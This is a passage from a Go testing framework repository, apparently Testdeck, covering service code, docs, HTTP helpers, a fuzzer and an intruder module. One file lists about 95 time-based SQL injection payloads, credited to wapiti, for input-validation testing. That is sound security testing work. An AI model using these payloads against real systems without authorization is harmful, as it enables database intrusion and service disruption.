variables!")) 46 | } 47 | } 48 | 49 | // Starts up a GRPC microservice 50 | func Start(m *testing.M, opt ...ServiceOptions) int { 51 | service := NewService(m) 52 | return service.Start(opt...) 53 | } 54 | 55 | // Creates a new service and DB client 56 | func NewService(m *testing.M) Service { 57 | g := db.New(Env.GCPProjectID) 58 | return &ServiceImpl{ 59 | controller: controller.New(m, g, Env), 60 | } 61 | } 62 | 63 | // Start the testing service 64 | func (s *ServiceImpl) Start(opt ...ServiceOptions) int { 65 | s.controller.Runner().PrintOutputToEventLog(Env.PrintOutputToEventLog) 66 | 67 | // Only start tests if run as a test job 68 | switch runAs := config.RunAs(Env); runAs { 69 | case config.RunAsJob: 70 | s.controller.SetPrintToStdout(true) 71 | result := s.controller.RunAll() 72 | fmt.Println("\n" + result) 73 | return 0 74 | case config.RunAsLocal: 75 | fallthrough 76 | default: 77 | return s.controller.RunLocal() 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= 5 | github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 6 | github.com/kelseyhightower/envconfig v1.4.0 h1:Im6hONhd3pLkfDFsbRgu68RDNkGF1r3dvMUtDTo2cv8= 7 | github.com/kelseyhightower/envconfig v1.4.0/go.mod h1:cccZRl6mQpaq41TPp5QxidR+Sa3axMbJDNb//FQX6Gg= 8 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 9 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 10 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 11 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 12 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 13 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 14 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 15 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 16 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 17 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 18 | github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= 19 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 20 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 21 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= 22 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 23 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 24 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 25 | -------------------------------------------------------------------------------- /runner/log.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Package testlog provides a back-channel communication path 6 | // between tests and package os, so that cmd/go can see which 7 | // environment variables and files a test consults. 8 | package runner 9 | 10 | import "sync/atomic" 11 | 12 | // Interface is the interface required of test loggers. 13 | // The os package will invoke the interface's methods to indicate that 14 | // it is inspecting the given environment variables or files. 15 | // Multiple goroutines may call these methods simultaneously. 16 | type Interface interface { 17 | Getenv(key string) 18 | Stat(file string) 19 | Open(file string) 20 | Chdir(dir string) 21 | } 22 | 23 | // logger is the current logger Interface. 24 | // We use an atomic.Value in case test startup 25 | // is racing with goroutines started during init. 26 | // That must not cause a race detector failure, 27 | // although it will still result in limited visibility 28 | // into exactly what those goroutines do. 29 | var logger atomic.Value 30 | 31 | // SetLogger sets the test logger implementation for the current process. 32 | // It must be called only once, at process startup. 33 | func SetLogger(impl Interface) { 34 | if logger.Load() != nil { 35 | panic("testlog: SetLogger must be called only once") 36 | } 37 | logger.Store(&impl) 38 | } 39 | 40 | // Logger returns the current test logger implementation. 41 | // It returns nil if there is no logger. 42 | func Logger() Interface { 43 | impl := logger.Load() 44 | if impl == nil { 45 | return nil 46 | } 47 | return *impl.(*Interface) 48 | } 49 | 50 | // Getenv calls Logger().Getenv, if a logger has been set. 51 | func Getenv(name string) { 52 | if log := Logger(); log != nil { 53 | log.Getenv(name) 54 | } 55 | } 56 | 57 | // Open calls Logger().Open, if a logger has been set. 58 | func Open(name string) { 59 | if log := Logger(); log != nil { 60 | log.Open(name) 61 | } 62 | } 63 | 64 | // Stat calls Logger().Stat, if a logger has been set. 65 | func Stat(name string) { 66 | if log := Logger(); log != nil { 67 | log.Stat(name) 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /docs/reporting_metrics.md: -------------------------------------------------------------------------------- 1 | # Reporting and Metrics 2 | 3 | As with any form of test automation, it is recommended to store metrics such as tests run, duration, results, etc. for statistical analysis and reporting. 4 | 5 | To serve as an example, we have included our test results DB schema below and some sample code so that you can build your own reporting and metrics collection system. 6 | 7 | NOTE: Testdeck can be used without the reporting and metrics system. If you do not set the environment variable `DB_URL` , then the tests will run without saving results to anywhere. Results will only be saved to the Kubernetes pod's logs, so you can use the following command to see the test results: `kubectl logs <your-pod-name>` 8 | 9 | ![Testdeck Test Results DB Schema](images/metrics.png?raw=true) 10 | 11 | Relevant Files: 12 | - service 13 | - db 14 | - db.go 15 | 16 | Once test results are saved to the DB, you can create your own reporting dashboard or integrate another dashboard tool to read and display the results. 17 | 18 | ![Testdeck Test Results Dashboard](images/reporting.png?raw=true) 19 | 20 | ## Debugging 21 | 22 | ### If test results are saved to a DB: 23 | 24 | Afer a test is run, Testdeck saves the results and statistics of the test case to the DB so that we can easily see at which step a the test case failed at. E2E tests can take longer than unit tests due to the need to perform multiple setup steps, so this allows us to narrow down possible reasons for failure: 25 | 26 | - If a test case failed at Arrange or After: This usually means that something your test depends on (e.g. test account and test data) is broken. 27 | - If a test case failed at Act: This usually means that there is something wrong with your service (e.g. the endpoint returned an error, the service could not be reached, etc.). 28 | - If a test case failed at Assert: This usually means that the response returned is different from what was originally expected. Perhaps the response format or spec changed so the test case needs to be updated (or you just found a bug). 29 | 30 | ### If test results are NOT saved to a DB: 31 | 32 | The Kubernetes pod that the tests are executed on will save the results as logs. To see the logs, use the command: `kubectl logs <your-pod-name>` 33 | 34 | -------------------------------------------------------------------------------- /docs/fuzzer.md: -------------------------------------------------------------------------------- 1 | # Fuzzer 2 | 3 | The Fuzzer uses [google/gofuzz](https://github.com/google/gofuzz) to generate random data to feed into endpoints. 4 | 5 | Relevant files: 6 | 7 | - fuzzer 8 | - fuzzer_test.go 9 | - fuzzer.go 10 | 11 | ## How to Use 12 | 13 | Pass the following parameters into `FuzzGrpcEndpoint()`: 14 | 15 | - t (the current test case) 16 | - context 17 | - grpc client of the service 18 | - the rpc method to test 19 | - a valid, sample request (this will act as the base for the fuzzer) 20 | - FuzzOptions (optional, explained below) 21 | 22 | ``` 23 | var sampleRequest = &pb.SayRequest{MessageId: "test", MessageBody: "test"} 24 | 25 | func Test_Gofuzz(t *testing.T) { 26 | 27 | // insert your setup steps here, including getting the service client 28 | 29 | test.Act = func(td *testdeck.TD) { 30 | FuzzGrpcEndpoint(t, context.TODO(), client, "Say", sampleRequest, FuzzOptions{rounds: 100, nilChance: 0.01, debugMode: true, ignoreNil: []string{"MessageId"}}) 31 | } 32 | 33 | test.Run(t, t.Name()) 34 | } 35 | ``` 36 | 37 | 38 | The FuzzOptions struct passed as an optional parameter contains configuration for the fuzzer. If it is not passed in, default configuration will be used. 39 | 40 | ``` 41 | // Represents configurable options for fuzzing 42 | type FuzzOptions struct { 43 | rounds int // the number of inputs to try 44 | nilChance float64 // the probability of getting a nil value 45 | debugMode bool // prints the values tried (for debugging purpose) 46 | ignoreNil []string // the names of fields that do not support empty/nil values (the fuzzer will not try an empty value when fuzzing these fields) 47 | } 48 | ``` 49 | 50 | The output will look similar to below: 51 | 52 | ``` 53 | === CONT Test_Gofuzz/Test_Gofuzz 54 | Test_Gofuzz: fuzzer.go:107: [FAIL] Fuzzing Say > MessageId: "" --> ERROR: rpc error: code = InvalidArgument desc = failed to validate request: invalid SayRequest.MessageId: value length must be between 1 and 64 runes, inclusive 55 | [[PASS] Fuzzing Say > MessageId: "鯛Ȁ" 56 | [PASS] Fuzzing Say > MessageId: "uǷM鈫" 57 | [PASS] Fuzzing Say > MessageId: "u們Ĭ驂H嫹w" 58 | ... 59 | ``` 60 | 61 | ## Limitations 62 | 63 | Currently, the fuzzer can only fuzz string parameters in the request (i.e. it cannot access strings inside structs). We are hoping to support this functionality in the future. -------------------------------------------------------------------------------- /httputils/httputils.go: -------------------------------------------------------------------------------- 1 | package httputils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/mercari/testdeck/constants" 8 | "github.com/pkg/errors" 9 | "net/http" 10 | "net/url" 11 | ) 12 | 13 | /* 14 | httputils.go: Helper methods for testing HTTP endpoints 15 | */ 16 | 17 | // Converts a x-www-form-urlencoded form into a bytes buffer 18 | func ToBufferArray(form url.Values) *bytes.Buffer { 19 | var b bytes.Buffer 20 | b.Write([]byte(form.Encode())) 21 | return &b 22 | } 23 | 24 | // Creates an HTTP request with the specified headers, http data, etc. 25 | func SendHTTPRequest(method string, url string, body *bytes.Buffer, headers map[string]string, host ...string) (*http.Response, *bytes.Buffer, error) { 26 | 27 | client := &http.Client{ 28 | Timeout: constants.DefaultHttpTimeout, 29 | } 30 | req, err := http.NewRequest(method, url, body) 31 | if err != nil { 32 | return nil, nil, err 33 | } 34 | 35 | // if host param was passed in, add it to the request 36 | if len(host) > 0 { 37 | req.Host = host[0] 38 | } 39 | 40 | // add headers if specified 41 | for key, element := range headers { 42 | req.Header.Add(key, element) 43 | } 44 | 45 | // send request 46 | resp, err := client.Do(req) 47 | if err != nil { 48 | return nil, nil, err 49 | } 50 | 51 | defer resp.Body.Close() 52 | 53 | // export json response 54 | responseBody := &bytes.Buffer{} 55 | _, err = responseBody.ReadFrom(resp.Body) 56 | if err != nil { 57 | return resp, nil, err 58 | } 59 | 60 | return resp, responseBody, nil 61 | } 62 | 63 | // Returns the value of a specified field in the json data 64 | func GetJSONField(fieldName string, jsonBody *bytes.Buffer) (string, error) { 65 | body := make(map[string]interface{}) 66 | _ = json.Unmarshal(jsonBody.Bytes(), &body) 67 | dataObject := body["data"] 68 | 69 | if dataObject != nil { 70 | // return value in nested json http if it exists 71 | if body, _ := dataObject.(map[string]interface{}); body != nil { 72 | value, ok := body[fieldName].(string) 73 | if ok { 74 | return value, nil 75 | } 76 | } 77 | } else { 78 | // otherwise return value from http 79 | value, ok := body[fieldName].(string) 80 | if ok { 81 | return value, nil 82 | } 83 | } 84 | 85 | return "", errors.New("JSON does not contain the specified field") 86 | } 87 | 88 | // Connect to a debugging proxy (Burp Suite, Charles, etc.) 89 | func ConnectToProxy(ip string) error { 90 | proxyUrl, err := url.Parse(ip) 91 | if err != nil { 92 | return err 93 | } 94 | http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)} 95 | fmt.Println("Connected to debugging proxy...") 96 | return nil 97 | } 98 | -------------------------------------------------------------------------------- /payloads/sql_injection/Generic_TimeBased.txt: -------------------------------------------------------------------------------- 1 | # from wapiti 2 | sleep(5)# 3 | 1 or sleep(5)# 4 | " or sleep(5)# 5 | ' or sleep(5)# 6 | " or sleep(5)=" 7 | ' or sleep(5)=' 8 | 1) or sleep(5)# 9 | ") or sleep(5)=" 10 | ') or sleep(5)=' 11 | 1)) or sleep(5)# 12 | ")) or sleep(5)=" 13 | ')) or sleep(5)=' 14 | ;waitfor delay '0:0:5'-- 15 | );waitfor delay '0:0:5'-- 16 | ';waitfor delay '0:0:5'-- 17 | ";waitfor delay '0:0:5'-- 18 | ');waitfor delay '0:0:5'-- 19 | ");waitfor delay '0:0:5'-- 20 | ));waitfor delay '0:0:5'-- 21 | '));waitfor delay '0:0:5'-- 22 | "));waitfor delay '0:0:5'-- 23 | benchmark(10000000,MD5(1))# 24 | 1 or benchmark(10000000,MD5(1))# 25 | " or benchmark(10000000,MD5(1))# 26 | ' or benchmark(10000000,MD5(1))# 27 | 1) or benchmark(10000000,MD5(1))# 28 | ") or benchmark(10000000,MD5(1))# 29 | ') or benchmark(10000000,MD5(1))# 30 | 1)) or benchmark(10000000,MD5(1))# 31 | ")) or benchmark(10000000,MD5(1))# 32 | ')) or benchmark(10000000,MD5(1))# 33 | pg_sleep(5)-- 34 | 1 or pg_sleep(5)-- 35 | " or pg_sleep(5)-- 36 | ' or pg_sleep(5)-- 37 | 1) or pg_sleep(5)-- 38 | ") or pg_sleep(5)-- 39 | ') or pg_sleep(5)-- 40 | 1)) or pg_sleep(5)-- 41 | ")) or pg_sleep(5)-- 42 | ')) or pg_sleep(5)-- 43 | AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe 44 | AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' 45 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) 46 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- 47 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# 48 | SLEEP(5)# 49 | SLEEP(5)-- 50 | SLEEP(5)=" 51 | SLEEP(5)=' 52 | or SLEEP(5) 53 | or SLEEP(5)# 54 | or SLEEP(5)-- 55 | or SLEEP(5)=" 56 | or SLEEP(5)=' 57 | waitfor delay '00:00:05' 58 | waitfor delay '00:00:05'-- 59 | waitfor delay '00:00:05'# 60 | benchmark(50000000,MD5(1)) 61 | benchmark(50000000,MD5(1))-- 62 | benchmark(50000000,MD5(1))# 63 | or benchmark(50000000,MD5(1)) 64 | or benchmark(50000000,MD5(1))-- 65 | or benchmark(50000000,MD5(1))# 66 | pg_SLEEP(5) 67 | pg_SLEEP(5)-- 68 | pg_SLEEP(5)# 69 | or pg_SLEEP(5) 70 | or pg_SLEEP(5)-- 71 | or pg_SLEEP(5)# 72 | '\" 73 | AnD SLEEP(5) 74 | AnD SLEEP(5)-- 75 | AnD SLEEP(5)# 76 | &&SLEEP(5) 77 | &&SLEEP(5)-- 78 | &&SLEEP(5)# 79 | ' AnD SLEEP(5) ANd '1 80 | '&&SLEEP(5)&&'1 81 | ORDER BY SLEEP(5) 82 | ORDER BY SLEEP(5)-- 83 | ORDER BY SLEEP(5)# 84 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj) 85 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# 86 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- 87 | +benchmark(3200,SHA1(1))+' 88 | + SLEEP(10) + ' 89 | RANDOMBLOB(500000000/2) 90 | AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) 91 | OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) 92 | RANDOMBLOB(1000000000/2) 93 | AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 94 | OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 95 | SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ -------------------------------------------------------------------------------- /docs/setup.md: -------------------------------------------------------------------------------- 1 | # Setup 2 | 3 | 1. Clone (or fork) the repository. As with any automation framework, you may need to modify the framework to suit your product’s specific needs so we suggest that you clone (or fork if you intend to contribute) the repository and modify it as needed. 4 | 5 | 2. (If you would like to save test results to a DB for visualization and statistical analysis) Set up your DB and modify db.go to fit your DB schema 6 | 7 | 3. Write your test cases: following the documentation and style guide sample code, create a suite of test cases. 8 | 9 | 4. Create a main method to run your tests. This method uses Testdeck to start a test service to run all of your tests in: 10 | 11 | ``` 12 | import "github.com/mercari/testdeck/service" 13 | func TestMain(m *testing.M) { 14 | service.Start(m) 15 | } 16 | ``` 17 | 18 | 5. In your Dockerfile, add steps to package your tests into a `.test` binary file and run them on container start. For example: 19 | 20 | ``` 21 | COPY . ./ 22 | RUN CGO_ENABLED=0 GOOS=linux go test -c my_project/testdeck_tests/ -o /go/bin/testdeck.test // where testdeck_tests is the directory in your project containing all Testdeck test cases 23 | 24 | COPY --from=0 /go/bin/testdeck.test /bin/testdeck.test 25 | CMD ["/bin/testdeck.test", "-test.v", "-test.parallel=x"] // where x is the number of parallel tests to run 26 | ``` 27 | 28 | 6. Create a manifest to deploy the image that was created from the Dockerfile in the step above. Below is a sample manifest: 29 | 30 | ``` 31 | apiVersion: batch/v1 32 | kind: Job 33 | metadata: 34 | name: testdeck 35 | namespace: your-namespace-here 36 | spec: 37 | template: 38 | spec: 39 | containers: 40 | - env: 41 | - name: ENV 42 | value: development 43 | - name: POD_NAME 44 | valueFrom: 45 | fieldRef: 46 | fieldPath: metadata.name 47 | - name: JOB_NAME 48 | valueFrom: 49 | fieldRef: 50 | fieldPath: 'metadata.labels[''job-name'']' 51 | - name: RUN_AS 52 | value: job 53 | - name: GCP_PROJECT_ID 54 | valueFrom: 55 | fieldRef: 56 | fieldPath: metadata.namespace 57 | - name: ASSET_PATH 58 | value: /assets 59 | image: <your Docker image link here> 60 | imagePullPolicy: Always 61 | name: testdeck 62 | restartPolicy: Never 63 | 64 | ... 65 | <other information omitted> 66 | ``` 67 | 68 | 7. Configure your Spinnaker pipeline to delete any existing Testdeck pods first, and then deploy using the manifest above. 69 | 70 | 8. After deployment, you should be able to see your test job running as a pod! Use the following command to check the status of the test run: `kubectl get pods` -------------------------------------------------------------------------------- /service/integration_test.go: -------------------------------------------------------------------------------- 1 | package service_test 2 | 3 | import ( 4 | "os" 5 | "os/exec" 6 | "strings" 7 | "testing" 8 | 9 | "github.com/pkg/errors" 10 | _ "github.com/stretchr/testify/assert" 11 | _ "github.com/stretchr/testify/require" 12 | 13 | "github.com/mercari/testdeck/service/config" 14 | ) 15 | 16 | const goBinary = "go" 17 | 18 | var defaultArgs = []string{ 19 | "test", 20 | "-timeout", 21 | "30s", 22 | "-v", 23 | "-count=1", // never use cached results 24 | } 25 | 26 | func execute(pkg string) ([]byte, error) { 27 | args := append(defaultArgs, pkg) 28 | return exec.Command(goBinary, args...).CombinedOutput() 29 | } 30 | 31 | var kubernetesJobEnv = func(t *testing.T) { 32 | err := os.Setenv("RUN_AS", config.RunAsJob) 33 | if err != nil { 34 | t.Fatal("Problem setting up environment:", err) 35 | } 36 | } 37 | 38 | var localEnv = func(t *testing.T) { 39 | var err error 40 | err = os.Unsetenv("RUN_AS") 41 | if err != nil { 42 | t.Fatal("Problem setting up environment:", err) 43 | } 44 | err = os.Unsetenv(config.KubernetesServiceHostKey) 45 | if err != nil { 46 | t.Fatal("Problem setting up environment:", err) 47 | } 48 | } 49 | 50 | func TestIntegration(t *testing.T) { 51 | cases := map[string]struct { 52 | setupEnv func(t *testing.T) 53 | pkg string 54 | wantStrings []string 55 | checkExecErr func(t *testing.T, err error) 56 | }{ 57 | "LocalSuccess": { 58 | setupEnv: localEnv, 59 | pkg: "github.com/mercari/testdeck/service/unit_tests/success", 60 | wantStrings: []string{ 61 | "=== RUN TestStub", 62 | "--- PASS: TestStub", 63 | "stub should pass", 64 | }, 65 | }, 66 | "Success": { 67 | setupEnv: kubernetesJobEnv, 68 | pkg: "github.com/mercari/testdeck/service/unit_tests/success", 69 | wantStrings: []string{ 70 | "PASS: TestStub", 71 | "stub should pass", 72 | }, 73 | }, 74 | "Statistics": { 75 | setupEnv: kubernetesJobEnv, 76 | pkg: "github.com/mercari/testdeck/service/unit_tests/stats", 77 | wantStrings: []string{ 78 | "PASS: TestStatistics", 79 | "stub should pass", 80 | }, 81 | }, 82 | } 83 | 84 | for name, tc := range cases { 85 | t.Run(name, func(t *testing.T) { 86 | if tc.setupEnv != nil { 87 | tc.setupEnv(t) 88 | } 89 | 90 | output, err := execute(tc.pkg) 91 | if tc.checkExecErr == nil && err != nil { 92 | t.Error(errors.Wrap(err, "Failed to execute test")) 93 | } 94 | if tc.checkExecErr != nil { 95 | tc.checkExecErr(t, err) 96 | } 97 | 98 | sout := string(output) 99 | t.Log(sout) 100 | 101 | for _, wantString := range tc.wantStrings { 102 | if !strings.Contains(sout, wantString) { 103 | t.Errorf("output doesn't contain: %s", wantString) 104 | } 105 | } 106 | }) 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /demo/err_handling_test.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/mercari/testdeck" 7 | ) 8 | 9 | /* 10 | err_handling_test.go: Examples of how to use error handling and assertions in test cases 11 | */ 12 | 13 | func Test_BasicExample_ActError(t *testing.T) { 14 | testdeck.Test(t, &testdeck.TestCase{ 15 | Act: func(t *testdeck.TD) { 16 | t.Errorf("basic act example error") 17 | }, 18 | }) 19 | } 20 | 21 | func Test_BasicExample_ActFatal(t *testing.T) { 22 | testdeck.Test(t, &testdeck.TestCase{ 23 | Act: func(t *testdeck.TD) { 24 | t.Fatalf("basic act example fatal") 25 | }, 26 | }) 27 | } 28 | 29 | func Test_BasicExample_AssertErrorAndFatal(t *testing.T) { 30 | testdeck.Test(t, &testdeck.TestCase{ 31 | Assert: func(t *testdeck.TD) { 32 | t.Errorf("basic assert example error") 33 | t.Fatalf("basic assert example fatal") 34 | }, 35 | }) 36 | } 37 | 38 | func Test_BasicExample_ArrangeMultiFatal(t *testing.T) { 39 | testdeck.Test(t, &testdeck.TestCase{ 40 | Arrange: func(t *testdeck.TD) { 41 | t.Fatalf("basic arrange example fatal 1") 42 | t.Fatalf("basic arrange example fatal 2") 43 | }, 44 | }) 45 | } 46 | 47 | func Test_BasicExample_ArrangeAfterMultiFatal(t *testing.T) { 48 | testdeck.Test(t, &testdeck.TestCase{ 49 | Arrange: func(t *testdeck.TD) { 50 | t.Fatalf("basic arrange example fatal 1") 51 | }, 52 | After: func(t *testdeck.TD) { 53 | t.Fatalf("basic after example fatal 2") 54 | }, 55 | }) 56 | } 57 | 58 | func Test_BasicExample_ArrangeFatalAndDeferred(t *testing.T) { 59 | testCase := &testdeck.TestCase{} 60 | testCase.Arrange = func(t *testdeck.TD) { 61 | testCase.Defer(func() { 62 | t.Errorf("basic deferred output") 63 | }) 64 | t.Fatalf("basic arrange example fatal 1") 65 | t.Fatalf("basic arrange example fatal 2") 66 | } 67 | 68 | testdeck.Test(t, testCase) 69 | } 70 | 71 | func Test_ActEmptyNoError(t *testing.T) { 72 | testdeck.Test(t, &testdeck.TestCase{ 73 | Act: func(t *testdeck.TD) {}, 74 | }) 75 | } 76 | 77 | func Test_ArrangeSkipNow_ShouldbeMarkedSkip(t *testing.T) { 78 | test := &testdeck.TestCase{} 79 | test.Arrange = func(t *testdeck.TD) { 80 | test.Defer(func() { 81 | t.Log("skip now defer message 1") 82 | }) 83 | t.SkipNow() 84 | test.Defer(func() { 85 | t.Log("skip now defer message 2") 86 | }) 87 | } 88 | test.Act = func(t *testdeck.TD) { 89 | t.Error("skip now act error") 90 | } 91 | test.Assert = func(t *testdeck.TD) { 92 | t.Error("skip now assert error") 93 | } 94 | test.After = func(t *testdeck.TD) { 95 | t.Log("skip now after message") 96 | } 97 | testdeck.Test(t, test) 98 | } 99 | 100 | func Test_ActSkipNow_ShouldbeMarkedSkipAndExecuteAfter(t *testing.T) { 101 | test := &testdeck.TestCase{} 102 | test.Arrange = func(t *testdeck.TD) { 103 | test.Defer(func() { 104 | t.Log("skip now defer message") 105 | }) 106 | } 107 | test.Act = func(t *testdeck.TD) { 108 | t.SkipNow() 109 | t.Error("skip now act error") 110 | } 111 | test.Assert = func(t *testdeck.TD) { 112 | t.Error("skip now assert error") 113 | } 114 | test.After = func(t *testdeck.TD) { 115 | t.Log("skip now after message") 116 | } 117 | testdeck.Test(t, test) 118 | } 119 | -------------------------------------------------------------------------------- /intruder/testdata_helper.go: -------------------------------------------------------------------------------- 1 | package intruder 2 | 3 | import ( 4 | "bufio" 5 | "encoding/json" 6 | "io/ioutil" 7 | "os" 8 | "strconv" 9 | ) 10 | 11 | /* 12 | testdata_helper.go: Various helper methods for generating testdata data, etc. 13 | */ 14 | 15 | // ---------- 16 | // structs representing json testdata data sets 17 | // ---------- 18 | 19 | // data for testing input validation 20 | // test data need to be separated by data type so that the fuzzer can feed the proper data type into the parameter 21 | type InputValidationTestData struct { 22 | Strings []JsonDataSet `json:"string"` 23 | Ints []JsonDataSet `json:"int"` 24 | Floats []JsonDataSet `json:"float"` 25 | Bools []JsonDataSet `json:"bool"` 26 | } 27 | 28 | // represents a json data set 29 | // Files is the list of intruder .txt files to use 30 | // Expected is the expected result 31 | type JsonDataSet struct { 32 | Files []string `json:"files"` 33 | Type string `json:"type"` 34 | Expected ExpectedResult `json:"expected"` 35 | } 36 | 37 | type ExpectedResult struct { 38 | // TODO: Clarify what else needs to be checked in the response 39 | ErrorMessage string `json:"errorMessage"` 40 | TimeDelay int `json:"timeDelay"` 41 | } 42 | 43 | // Parse input validation json testdata data into a struct 44 | func ParseInputValidationTestDataFromJson(file string) (InputValidationTestData, error) { 45 | jsonFile, _ := ioutil.ReadFile(file) 46 | var data InputValidationTestData 47 | err := json.Unmarshal(jsonFile, &data) 48 | return data, err 49 | } 50 | 51 | // Parses an intruder .txt file into a string array 52 | func GetStringArrayFromTextFile(filename string) ([]string, error) { 53 | var array []string 54 | file, err := os.Open(filename) 55 | if err != nil { 56 | return nil, err 57 | } 58 | defer file.Close() 59 | 60 | scanner := bufio.NewScanner(file) 61 | for scanner.Scan() { 62 | array = append(array, scanner.Text()) 63 | } 64 | 65 | return array, nil 66 | } 67 | 68 | // Parses an intruder .txt file into an int array 69 | func GetIntArrayFromTextFile(filename string) ([]int, error) { 70 | var array []int 71 | file, err := os.Open(filename) 72 | if err != nil { 73 | return nil, err 74 | } 75 | defer file.Close() 76 | 77 | scanner := bufio.NewScanner(file) 78 | for scanner.Scan() { 79 | i, err := strconv.Atoi(scanner.Text()) 80 | if err != nil { 81 | return nil, err 82 | } 83 | array = append(array, i) 84 | } 85 | 86 | return array, nil 87 | } 88 | 89 | // Parses an intruder .txt file into a float array 90 | func GetFloatArrayFromTextFile(filename string) ([]float64, error) { 91 | var array []float64 92 | file, err := os.Open(filename) 93 | if err != nil { 94 | return nil, err 95 | } 96 | defer file.Close() 97 | 98 | scanner := bufio.NewScanner(file) 99 | for scanner.Scan() { 100 | i, err := strconv.ParseFloat(scanner.Text(), 64) 101 | if err != nil { 102 | return nil, err 103 | } 104 | array = append(array, i) 105 | } 106 | 107 | return array, nil 108 | } 109 | 110 | // Parses an intruder .txt file into a bool array 111 | func GetBoolArrayFromTextFile(filename string) ([]bool, error) { 112 | var array []bool 113 | file, err := os.Open(filename) 114 | if err != nil { 115 | return nil, err 116 | } 117 | defer file.Close() 118 | 119 | scanner := bufio.NewScanner(file) 120 | for scanner.Scan() { 121 | i, err := strconv.ParseBool(scanner.Text()) 122 | if err != nil { 123 | return nil, err 124 | } 125 | array = append(array, i) 126 | } 127 | 128 | return array, nil 129 | } 130 | -------------------------------------------------------------------------------- /httputils/multipart_form.go: -------------------------------------------------------------------------------- 1 | package httputils 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "mime/multipart" 7 | "reflect" 8 | 9 | "github.com/pkg/errors" 10 | ) 11 | 12 | /* 13 | multipart_form.go: Contains helper methods to convert a type struct into a multipart form 14 | */ 15 | 16 | type MultipartFieldWriter interface { 17 | WriteField(*multipart.Writer) error 18 | } 19 | 20 | const ( 21 | jsonTag = "json" 22 | multipartTag = "multipart" 23 | optionalTag = "optional" 24 | ) 25 | 26 | type FieldProperties struct { 27 | MultipartType string 28 | Value string 29 | Optional bool 30 | IsZero bool 31 | Ref MultipartFieldWriter 32 | } 33 | 34 | /* 35 | Converts a type struct into a multipart form for use in HTTP requests 36 | */ 37 | func CreateMultipartBody(it interface{}) (*bytes.Buffer, string, error) { 38 | body := &bytes.Buffer{} 39 | writer := multipart.NewWriter(body) 40 | 41 | // for each field in the struct, write it to a multipart 